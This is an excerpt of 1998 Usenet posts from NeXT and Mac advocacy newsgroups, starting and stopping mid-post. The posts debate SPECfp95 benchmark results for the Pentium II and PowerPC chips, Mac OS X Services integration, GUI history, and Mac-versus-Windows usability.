: the capabilities of processors. I you look at the benchmark scores for each
: member of the suite, you'll see a different picture.
okay.
: If the throughput of the memory bus is the only factor that affects the
: benchmark, you would expect a 50% increase. If only the latency of the memory
: system matters you should see little or no improvement. If the speed of the
: FPU is the controlling factor, the speed up should be 20%.
: 400MHz 333MHz Speed up%
: 101.tomcatv: 23.1 17.0 36
: 102.swim: 31.4 22.9 37
: 103.su2cor: 7.53 5.58 35
: 104.hydro2d: 7.21 5.12 41
: 107.mgrid: 7.99 6.20 29
: 110.applu: 9.20 6.92 33
: 125.turb3d: 11.1 8.80 26
: 141.apsi: 14.3 11.4 25
: 145.fpppp: 16.6 13.8 20
: 146.wave5: 11.7 9.55 23
: The 145.fppp benchmark is the only one which shows only a 20% increase. This
: benchmark is sequenctial in nature, and uses a small working set. It is
: sequential on the macro level, but a good test of super scalar features.
: Apsi is also sequential in nature. I guess this is true for Wave5 also, but I
: do not know for sure.
: Tomcatv and Swim are both very sensitive to the speed of the memory system.
: That the increase is not 50% may be because the FPU is not fast enough to
: keep up, or because the latency of the memory system keeps the useable
: bandwidth down.
: Mgrid, Su2cor and Hydro2d can be parallelized rather easily, which is
: difficult to do with a stack machine.
: In summary, it seems that the Pentium II does very well in tests that stress
: the memory subsystem, but that it is difficult to exploit macro parallelism
: with it -- which is expected of stack machines.
macro parallelism? some sort of medium grained parallelism, a level above
fine grained ILP?
: If anyone can dig up the results or estimates for the PPC 750, it would be a
: very interesting comparison. The large register file of the PPC should make
: it easier to exploit (macro) parallelism, which should make a significant
: difference in Mgrid, Su2cor and Hydro2d.
: Further, if there are any games programmers around, perhaps they could
: comment on what part of the benchmark suite is relevant to their problems.
I don't think there is any published numbers on the sub-benchmark scores of
the 750. I 've been looking, and I haven't found it yet.
The closest thing I could find are the 604e332 scores, which ofcourse could
not be used to determine how good/bad G3 750's FPU unit is relative to
P II, but only provide a look at some of the differences of the sub
benchmarks, and their respective behavior on the different platforms.
(The 603e166 numbers doesn't mean anything, used only to serve as a
reference point) The 604e number used is from the IBM F50 workstation
with X5 caching subsystem, and a peak memory bandwidth of 1.3GB/sec
from SDRAM. a lot more than the 440BX chipset would claim. (8 bytes per
cycle @ 100 MHz = 800 MB/sec. @66 = 533)
http://www.rs6000.ibm.com/hardware/enterprise/f50.html
The sub benchmarks of SPEC suite for the F50 doesn't show the effect of
having the enormous peak memory bandwidth. The large register file of
the 604e didn't seem to make any difference for hydro2d, or su2cor.
Mgrid showed a respectable 30-40% lead for the 604e(F50)
PII400 PII333 604e332(IBMF50) 603e166(IBM860)
tomcatv 23.1 17.0 16.4 3.27
swim 31.4 22.9 24.4 3.79
su2cor 7.53 5.58 5.67 1.14
hydro2d 7.21 5.12 6.42 1.64
mgrid 7.99 6.20 9.68 2.52
applu 9.20 6.92 8.21 2.39
turb3d 11.1 8.80 17.5 3.52
apsi 14.3 11.4 9.23 2.99
fpppp 16.6 13.8 37.7 7.52
wave5 11.7 9.55 14.2 1.91
SPECfp95 12.4 9.55 12.6 2.71
The two numbers that showed a big advantage for the 604e over
the P II is fpppp and turb3d. Fpppp is register allocation intensive
and turb3d is a 1D FFT. Though it is intersting to note that the
apps which are considered to be memory bandwidth intensive, namely
tomcatv, actually favors the P II, Even though the 333 MHz P II's
peak memory bandwidth is only 533 MB/sec. This could only mean
that the working set really isn't that big, and the backside L2 of
P II does help in this case.
What I have read about 750's FPU is this....
It emphasizes single precision computation. For single precision
calculations, it may be just as fast as the 604e, (games?) but for
double precision operations (scientific simualtions?) the 750 takes
a big hit, and may take twice as long to complete. So as far as I am
aware, P II's FPU is "better" as compared to the 750, at least for
simulations which may need double precision. It was therefore
hard for me to accept such a blanket statement from you which proclaimed
that G3 750's FPU should still easily outperform P II's FPU. Perhaps
this is true in some instances, algorithms whose working set would
fit within L1 or L2, uses more than 8 registers, but less than 32,
and in single precision (fpppp most likely), but that's a far cry
from proclaiming a general case that the 750 has a better FPU than the
P II.
From: "Dimitrios" <dimitrios1@mindspring.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 23 Jun 1998 07:25:04 -0500
Organization: MindSpring Enterprises
Message-ID: <6mo6mo$4nm$1@camel15.mindspring.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
Bill Altenberger wrote in message ...
>If my memory serves me correct, Apple brought the GUI to the computing
>masses in a usable form. If it wasn't for Apple, you would be spemding
>50K a year for a GUI.
You mean Xerox. Not Apple.
Dimitrios
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 23 Jun 1998 13:44:27 GMT
Organization: San Diego State University
Message-ID: <6mobfr$odg$1@hole.sdsu.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net>
Steve Kellener (skellener@earthlink.net) wrote:
: Let's all hope that someone out there writes a NeXTSTEP "theme" and
: bring back some of the "style and slickness" to the UI.
Get that "style and slickness" away from me. I want simple
functionality.
-tomlinson ("Do not strive to adorn the simple myrtle!"
- Q. Horatius Flaccus)
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 23 Jun 1998 08:46:01 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mnq09$3vn$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6mo6mo$4nm$1@camel15.mindspring.com>
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Cc: dimitrios1@mindspring.com
In <6mo6mo$4nm$1@camel15.mindspring.com> "Dimitrios" claimed:
> >If my memory serves me correct, Apple brought the GUI to the computing
> >masses in a usable form. If it wasn't for Apple, you would be spemding
> >50K a year for a GUI.
>
> You mean Xerox. Not Apple.
Xerox did not bring the GUI to the masses. They were quite happy doing
nothing with it.
Maury
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 09:52:54 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980623094937.20163A-100000@pathos>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net> <slrn6ouegg.qhf.sal@panix3.panix.com>
Mime-Version: 1.0
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To: Salvatore Denaro <sal@panix3.panix.com>
In-Reply-To: <slrn6ouegg.qhf.sal@panix3.panix.com>
There isn't any reason why a Mac OS X app can't have a services menu!
Sure, it may not have the full functionality of a YB services menu, but
it could have one.
The Mac software kits have a strong concept of pasteboards and the various
toolbox text editors and such have a strong concept of current selection--
these two concepts are key to Yellow services. If an app can have a
notion of "current selection" and can fill a pasteboard with data, then it
would not be hard to gateway to yellow services.
Already, there is a surprising level of integration between the BLUE BOX
and the various "standard integration features" of Yellow Box.
Considering that Carbon is an API that will be much more tightly
integrated with Yellow than Blue, this integration will only become more
transparent.
b.bum
On 23 Jun 1998, Salvatore Denaro wrote:
> On 23 Jun 1998 04:56:07 GMT, Leon von Stauber <devnull@occam.com> wrote:
> >Actually, I think this criticism is the most significant one raised
> >in this discussion. Even if AppleScript does provide a bridge to
> >Services, that won't change the fact that most MacOS X apps (those
> >not based on YB) won't have a Services menu, and won't export
> >Services to be used by YB apps.
>
> Very good point. I hope it isn't as bad as most X11 systems where you end
> up with a bunch of schizophrenic toolkits that can't talk to each other.
>
> This is all speculation. We'll have to wait for DR1 of MacOSX to get a
> clear idea of what it will look like. I hope it isn't too obvious that
> you are running a pair of GUIs in parallel.
From: rdieter@math.unl.edu (Rex Dieter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Intel dr2?
Date: 23 Jun 1998 13:49:17 GMT
Organization: University of Nebraska-Lincoln
Message-ID: <6mobot$69o$1@unlnews.unl.edu>
References: <iPDj1.34783$BE5.11393514@news.rdc1.nj.home.com>
In article <iPDj1.34783$BE5.11393514@news.rdc1.nj.home.com> "Chris Van
Buskirk" <cvbuskirk@home.com> writes:
> Anyone get this yet?
Nope, but I'm waiting anxiously though. Wasn't it suppose to arrive early
June? (-;
--
Rex A. Dieter rdieter@math.unl.edu (NeXT/MIME OK)
Computer System Manager http://www.math.unl.edu/~rdieter/
Mathematics and Statistics
University of Nebraska-Lincoln
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 23 Jun 1998 08:59:13 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mnqp1$3vn$3@ns3.vrx.net>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
<358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
<see-below-2306980046450001@dynamic23.pm01.mv.best.com>
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Cc: see-below@not-my-address.com
In <see-below-2306980046450001@dynamic23.pm01.mv.best.com> Matthew Vaughan
claimed:
> Rage Pro isn't unusable on Windows by any means
But in your prior messages in this thread you implied that the problems
with the system found under Windows should be expected under the Mac as well.
As we have all pointed out now, this is simply not the case. So let's leave
that point, it's done to death.
> it's about the slowest and one of the worst looking of the current
> generation of 3D chipsets (current=shipping in products you can buy
> today). It's basically equivalent to a Voodoo Graphics (slower in Quake
> and probably other OpenGL games, but otherwise not too bad), but nowadays
> that's considered pretty out of date on Wintel PCs (Voodoo is 1-1/2 years
> old).
Actually for anything from a P-II 233 down, it's still very competitive in
terms of overall performance, and for those machines no increase in 3D card
performance is likely to have much of an effect on speed. Above that it's
still competitive, but no longer at the top of the charts as it used to be.
However, now that there are a number of cards that can equal or best the
Voodoo, features and image quality do become more important. On that note
Tom's Hardware speaks very highly of the RagePro...
A very good 3D paired with a very good 2D performance, the support of 4 and 8
MB onboard RAM, hence the support of up to 1280x1024 3D resolution and last
but not least the optional TV output make this card a very good all-round
solution, apealing to gamers as well as professionals ... as long as you
don't require OpenGL.
In later image comparisions they noted a problem in Motoracer, but for
Final Reality notes...
Final Reality: Perfect work, all features shown, no flaws visible.
So although I'd love to see Apple using a G200, the RagePro isn't doing
them poorly.
> It's possible the Mac/RAVE drivers are a bit better, but I though the D3D
> drivers were pretty good, it's mainly OpenGL that's been lacking.
True everywhere, but finally showing signs of change.
> I think it's just adequate for the iMac, but it is adequate. Sure there's
> better stuff out there, but Rage Pro is basically the bare minimum
> acceptable 3D to include on a computer of any kind these days. I'm not
> concerned that it won't have a Riva128 or Voodoo Banshee or Intel 740 or
> whatever, but the idea of shipping it with Rage II just makes me shake my
> head in despair.
Me too, so let's keep our fingers crossed!
Maury
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Inconsistent apps on MacOS X (was Re: Next purchase a mistake)
Date: 23 Jun 1998 14:04:54 GMT
Organization: Occam's Razor
Message-ID: <6mocm6$5ud$1@news.cmc.net>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu>
<slrn6otdot.24u.sal@panix3.panix.com> <6mnch7$sq1$2@news.cmc.net>
<rmcassid-2306980018090001@dialin9231.slip.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-2306980018090001@dialin9231.slip.uci.edu> Robert Cassidy wrote:
>In article <6mnch7$sq1$2@news.cmc.net>, com.occam@leonvs wrote:
>
>> Actually, I think this criticism is the most significant one raised
>> in this discussion. Even if AppleScript does provide a bridge to
>> Services, that won't change the fact that most MacOS X apps (those
>> not based on YB) won't have a Services menu, and won't export
>> Services to be used by YB apps.
>
>Well, any Carbon app could easily have a Services menu. Not all the menus
>provided to a MacOS app are known by the app.
Sure, but how many Carbon apps actually will have a Services menu, with
all the appropriate Services included, that changes dynamically as apps
are installed and uninstalled?
How many Mac developers working in Carbon do you think will bother to
do this extra work?
How many Mac developers working in Carbon do you think fully appreciate
the value of Services?
My guess is that the number will be vanishingly small. I mean, you could
do all this in a non-Carbon, Blue Box Mac app as well, but I doubt we'll
see any of that, either.
For YB apps, the above questions are irrelevant, as they're answered
automatically by the AppKit.
>Services just uses the pasteboard, right? So I don't see why you couldn't
>use AS to suck data from the pasteboard so long as the pass-by-reference
>issues are dealt with properly. And I don't really see why you couldn't
>export services by a similar mechanism. Sure the developer needs to do
>some work to export but there is nothing wrong with that at all, it's not
>automatic for YB apps after all.
Maybe you *could*, but will Carbon developers actually do it? Will it even
cross their minds that it's worth it?
Exporting Services may not be automatic for YB developers, but they should
be used to thinking about them, and that will make all the difference.
>> Will Carbon apps utilize the same pasteboards that YB apps do?
>
>I would think that would be possible.
But if they don't by default, we're going to have big mess. Say goodbye
to universal drag-n-drop.
>> If I install a filter Service to open GIF2000 images w/in apps not
>> built to understand the new format, will Carbon apps gain the same
>> ability?
>
>Support QT instead and throw the new format in there. Why limit yourself
>to images...
>
>But my guess would be no.
What about other types of documents?
A few other things:
Will Carbon apps use the same spelling dictionary that most YB apps do?
Will they use the same Print, Open, Save, Font, etc. panels?
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 07:03:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mocik$e9m@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de> <6mm4th$d1p@nntp02.primenet.com> <6mnafn$jq0$1@news.cs.tu-berlin.de>
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
: John Jensen <jjens@primenet.com> writes:
: >Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
: >: Java and C++ make you think that the new ideas are like the old ones.
: >: Java is the most distressing thing to hit computing since MS-DOS.
: >: - Alan Kay -
: >Java is the most distressing thing to hit computing since Alan Kay.
: Do you even know how Alan Kay is?
Oh, he racked up some solid work early on ... but by the '80s all he did
is give interviews reminding everybody of what he did ten years earlier.
That was fine for a while, but after ten years it wears a bit thin.
Do you have any pointers for his recent work?
John
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 23 Jun 1998 09:12:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mnrhg$3vn$4@ns3.vrx.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net>
<6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
<6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
<6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
<6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com>
<6mlro0$gfb$1@ns3.vrx.net> <slrn6ou5b2.h67.sal@panix3.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6ou5b2.h67.sal@panix3.panix.com> Salvatore Denaro claimed:
> No they don't. They want the functionality and stability that Unix offers,
not
> Unix. They want better Apps, not a tool to build better Apps.
That's like saying they don't want MacOS, but something that runs MacOS
software. Apple users want Unix because it will give them functionality and
stability that Unix offers. Currently no one seems to be able to separate
the two.
> The issue is marketing. How do you give Mac users what they want, but
without
> the scary "u" word? You lie to them. Bold face lie. Give them Unix but call
> is MacOS.
Sure. I love what they're doing.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 23 Jun 1998 07:29:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6moe3c$g96@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <6mm8nd$h53@nntp02.primenet.com> <rmcassid-2206982322430001@dialin9231.slip.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
: In article <6mm8nd$h53@nntp02.primenet.com>, John Jensen
: <jjens@primenet.com> wrote:
: > : Bullshit. We have a Windows PC here an I was asked how to grab an HTML
: > : file from the browser and edit it. It was about a 10 step process on the
: > : PC. It's a 2 step process on the Mac and a one-step process on mine.
: >
: > Perhaps I misunderstand, but Netscape Communicator has a menu item under
: > "File" called "Edit Page". I thought that was available on all Netscape
: > platforms...
: >
: > I'd be interested in hearing your ten step program.
: Well, we tried Edit Page (Netscape Navigator Gold 3.0) and it brought up
: the text in a window but gave no edit functions. Basically it was just a
: viewer. No big deal, I thought, I'll just do what I do on a Mac.
It's been a long time since I had Nav Gold 3.0 loaded. I just tried the
one step program with Communicator 4.0.5 and it allowed easy modification
of my home page. I remember doing the same thing with Nav Gold 3.0.
[ten steps deleted]
: So there were some miscues in there, but even at it's most direct it's a
: fairly lengthy process. Granted this is trying to make a PC work like a
: Mac but I'm still at a loss how to do it much faster.
As you say, "trying to make a PC work like a Mac". You've got to go with
the spirit of any OS to make it work for you.
Believe it or not, the Windows designers were trying to make things easier
for users. The methods they used were different than the methods used by
the Mac designers, so user actions hang together by a different logic.
If, every time you sit down at a PC you try to prove it is not a Mac, you
will. Congratulations. And big deal.
: I think the rule, as everyone is telling me, is not to use the tool that I
: want to use, but rather to use the one that I'm supposed to use. How PC.
I think you are proving the point of an earlier poster. If you, as a Mac
user are not willing to explore an alternate logic, why did Apple buy one
from Next?
John
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062315272600.LAA03159@ladder03.news.aol.com>
Date: 23 Jun 1998 15:27:26 GMT
Organization: AOL http://www.aol.com
References: <358EEC0C.248A@earthlink.net>
Regarding a NeXTstep "theme" in Mac OS X
What is the status of animated icons and what icon sizes (48 x 48 and larger I
hope) are available? These are the two things which I feel need to be built in
at the system level.
As I've said before, I'd like to see Apple do a NeXT branded version of the OS,
or an add-on which includes those things which are left out, i.e. Digital
Webster, Shakespeare, Quotations, TeXView, etc.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Tue, 23 Jun 1998 08:37:21 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2306980837220001@dante.eng.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu> <6mm8nd$h53@nntp02.primenet.com> <rmcassid-2206982322430001@dialin9231.slip.uci.edu> <6moe3c$g96@nntp02.primenet.com>
In article <6moe3c$g96@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
>Believe it or not, the Windows designers were trying to make things easier
>for users. The methods they used were different than the methods used by
>the Mac designers, so user actions hang together by a different logic.
Actually, if you wanted to make a point here you should have outlined how
I could save an HTML file and open it in an arbitrary text editor faster
than what I suggested (aside from leaving out the dead-end steps that I
indicated).
I can accept the different logic and have admitted that it influenced the
actions - but I still can't see how to do it faster. The problem as I see
it is that the PC doesn't allow you to quickly locate a file or
application in order to perform actions on it other than through the
Windows Explorer. I can't open the My Documents folder from the Start Menu
(I don't know why they would overlook this functionality) and I can't
drag/drop to apps in the Start Menu. That _severly_ limits any ability to
take an arbitrary file and open it with an arbitrary app.
>: I think the rule, as everyone is telling me, is not to use the tool that I
>: want to use, but rather to use the one that I'm supposed to use. How PC.
>
>I think you are proving the point of an earlier poster. If you, as a Mac
>user are not willing to explore an alternate logic, why did Apple buy one
>from Next?
I am willing to explore an alternate logic. Pray tell, how can I quickly
find an arbitrary recent file and open it with any given app? I have one
way built into the MacOS (Apple Menu->Recent Files, Select File, drag and
use spring-loaded folders to navigate to app) and two ways that are 3rd
party (DragThing and GoMac - I use both). Ironically, it is how much
better GoMac (a Start Menu rip-off) is implemented than the Start Menu
that screwed up my alternate logic.
Bottom line is that alternate logic is fine so long as I can discern some
logic there. NeXTs logic makes a _lot_ of sense, did so from the moment I
looked at it. Unix doesn't at some levels because it is seemingly riddled
with inconsistencies (asking what the conventions for using /bin, /sbin/,
/usr/bin, /usr/sbin/, /usr/local/bin, and /usr/local/sbin was fun) and the
same holds for Windows. The MacOS does have its faults as well, but it
makes far fewer demands of the user for simple tasks.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 23 Jun 1998 08:40:38 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2306980840380001@dante.eng.uci.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6mo6mo$4nm$1@camel15.mindspring.com>
In article <6mo6mo$4nm$1@camel15.mindspring.com>, "Dimitrios"
<dimitrios1@mindspring.com> wrote:
>Bill Altenberger wrote in message ...
>>If my memory serves me correct, Apple brought the GUI to the computing
>>masses in a usable form. If it wasn't for Apple, you would be spemding
>>50K a year for a GUI.
>You mean Xerox. Not Apple.
'in usable form'. Xerox started the research, Apple finished it up to make
it suitable to be a product.
-Bob Cassidy
From: drow@visi.com (CARRIER LOST)
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Followup-To: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6mo6mo$4nm$1@camel15.mindspring.com>
Organization: the campus crusade for cthulhu
Distribution: world
Message-ID: <0dQj1.1110$P8.3133750@ptah.visi.com>
Date: Tue, 23 Jun 1998 15:54:36 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 10:54:36 CDT
Aliens and the CIA forced Dimitrios (dimitrios1@mindspring.com) to write:
> Bill Altenberger wrote in message ...
> >If my memory serves me correct, Apple brought the GUI to the computing
> >masses in a usable form. If it wasn't for Apple, you would be spemding
> >50K a year for a GUI.
>
> You mean Xerox. Not Apple.
nope, apple is the correct answer. xerox was not the only group
working with windowing systems, was happily doing nothing with their
research, and apple's GUI implementation was very different in many
respects.
--
\^\ // X-Windows: Complex non-solutions to simple non-problems.
\ // -- Dude from DPAK
-- // \ ------------------------------------------------------------------
// \_\ drow@visi.com (CARRIER LOST) <http://www.visi.com/~drow/>
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 23 Jun 1998 15:50:17 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6moirp$ft2$1@new-news.cc.brandeis.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6mo6mo$4nm$1@camel15.mindspring.com>
In article <6mo6mo$4nm$1@camel15.mindspring.com> "Dimitrios" <dimitrios1@mindspring.com> writes:
>
>Bill Altenberger wrote in message ...
>>If my memory serves me correct, Apple brought the GUI to the computing
>>masses in a usable form. If it wasn't for Apple, you would be spemding
>>50K a year for a GUI.
>
>
>
>
>You mean Xerox. Not Apple.
You mean Raskin. Not Xerox.
--
Nathan Raymond
http://www.everythingmac.com
--
Nathan Raymond
http://www.everythingmac.com
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net>
Subject: Re: Mac OS X UI
Message-ID: <OfQj1.9326$r5.4861104@proxye1.san.rr.com>
Date: Tue, 23 Jun 1998 15:57:34 GMT
NNTP-Posting-Date: Tue, 23 Jun 1998 08:57:34 PDT
Organization: TWC Road Runner, San Diego, CA
Steve Kellener wrote in message <358EEC0C.248A@earthlink.net>...
>Let's all hope that someone out there writes a NeXTSTEP "theme" and
>bring back some of the "style and slickness" to the UI.
If Greg Landweber's Kaleidoscope (control panel now, to become an app) is
Carbonized and makes it to Mac OS X or if he (or Apple) makes a way for a
Kaleidoscope 2.0 scheme to make become an Appearance you can rest assured
the NeXTSTEP 3.x and NeXTSTEP 4.x pre-release looks will be available.
Someone will do it.
--Ed.
From: John Hornkvist <sorry@no.more.spams>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Tue, 23 Jun 1998 15:30:57 GMT
Organization: Chalmers Tekniska Högskola
Sender: john@haddock.cd.chalmers.se (John Hprnkvist)
Message-ID: <Ev0GFL.CqH@haddock.cd.chalmers.se>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<EuyCy5.300@haddock.cd.chalmers.se> <6mmvvj$45p$1@hecate.umd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <6mmvvj$45p$1@hecate.umd.edu> David T. Wang wrote:
>
> The sub benchmarks of SPEC suite for the F50 doesn't show the effect of
> having the enormous peak memory bandwidth.
That's strange... Has anyone run Stream on the F50? It would be interesting
to see what kind of bandwidth it can really sustain. (Stream is a good
benchmark, because it measures the best case...)
> The large register file of
> the 604e didn't seem to make any difference for hydro2d, or su2cor.
> Mgrid showed a respectable 30-40% lead for the 604e(F50)
I added the numbers for some other systems to the table...
> PII400 PII333 604e332 603e166 21164@600 P2SC@135 PA8200@240
> tomcatv 23.1 17.0 16.4 3.27 41.7 36.8 39.5
> swim 31.4 22.9 24.4 3.79 51.1 48.7 65.3
> su2cor 7.53 5.58 5.67 1.14 15.9 6.60 17.7
> hydro2d 7.21 5.12 6.42 1.64 21.3 9.32 14.7
> mgrid 7.99 6.20 9.68 2.52 41.3 14.1 22.4
> applu 9.20 6.92 8.21 2.39 12.3 13.8 18.8
> turb3d 11.1 8.80 17.5 3.52 26.2 19.0 20.2
> apsi 14.3 11.4 9.23 2.99 29.3 9.22 31.3
> fpppp 16.6 13.8 37.7 7.52 48.2 28.4 50.1
> wave5 11.7 9.55 14.2 1.91 32.9 26.6 39.6
> SPECfp95 12.4 9.55 12.6 2.71 29.2 17.6 28.5
Systems that are targeted towards number crunching, such as the P2SC (RS/6000
595), the PA8200 (HP 9000 K580) and the 21164 (AlphaServer 4000 5/600) all
have great bandwidth as can be seen from their scores on tomcatv and swim. It
is strange that the 604e332 does so poorly on these benchmarks; it suggests
that its bandwidth is on par with the PII 333, despite the supposedly better
memory subsystem.
> The two numbers that showed a big advantage for the 604e over
> the P II is fpppp and turb3d. Fpppp is register allocation intensive
Fpppp is also a good test of super scalar features.
> and turb3d is a 1D FFT.
Don't forget the wave5 benchmark. The advantage of the PPC is almost 50%
here, compared to the Pentium II at 333MHz.
> Though it is intersting to note that the
> apps which are considered to be memory bandwidth intensive, namely
> tomcatv, actually favors the P II, Even though the 333 MHz P II's
> peak memory bandwidth is only 533 MB/sec. This could only mean
> that the working set really isn't that big, and the backside L2 of
> P II does help in this case.
Or that the F50 doesn't really provide that kind of bandwidth... Is it
available in multi CPU-configurations? If it is, the memory system may
provide more bandwidth than the single 604e can handle... If you consider the
score of the Alpha, which has a rather small L2 cache, and a rather long
latency to get to the enourmous L3 cache, it seems that it really is the
memory subsystem that matters... On Swim, on the other hand, the great
advantage of the HP8200 with 2+2MB of L1 cache suggests that it fits in that
cache... That is, if the benchmark fits in the L2 cache of the PII, it should
also fit in the cache of the HP8200, but this does not seem to be the case,
or it would not be beaten by the Alpha where it cannot possibly fit in the
small (96KB) cache.
> What I have read about 750's FPU is this....
>
> It emphasizes single precision computation. For single precision
> calculations, it may be just as fast as the 604e, (games?) but for
> double precision operations (scientific simualtions?) the 750 takes
> a big hit, and may take twice as long to complete. So as far as I am
> aware, P II's FPU is "better" as compared to the 750, at least for
> simulations which may need double precision. It was therefore
> hard for me to accept such a blanket statement from you which proclaimed
> that G3 750's FPU should still easily outperform P II's FPU. Perhaps
> this is true in some instances, algorithms whose working set would
> fit within L1 or L2, uses more than 8 registers, but less than 32,
> and in single precision (fpppp most likely), but that's a far cry
> from proclaiming a general case that the 750 has a better FPU than the
> P II.
The size of the working set shouldn't really be relevant when you compare
execution units (which is actually a silly concept in itself -- unless you
are a micro processor architect...:) ) The Spec suite is a system benchmark,
and as such it tests not only the FPU, but also the cache and the memory
subsystem (and the Fortran compiler). To measure the performance of the FPU
itself, you need a micro benchmark.
The fpppp benchmark is a micro benchmark, since it has a very small working
set, and here the 604e beats the PII 333 by a factor of 2.7. Even if the 750
gives only half the performance of the 604e, it should still beat the Pentium
II on this benchmark, which would imply that the _FPU_ of the 750 is
better... ;) However, if the memory subsystem can't keep up, that doesn't buy
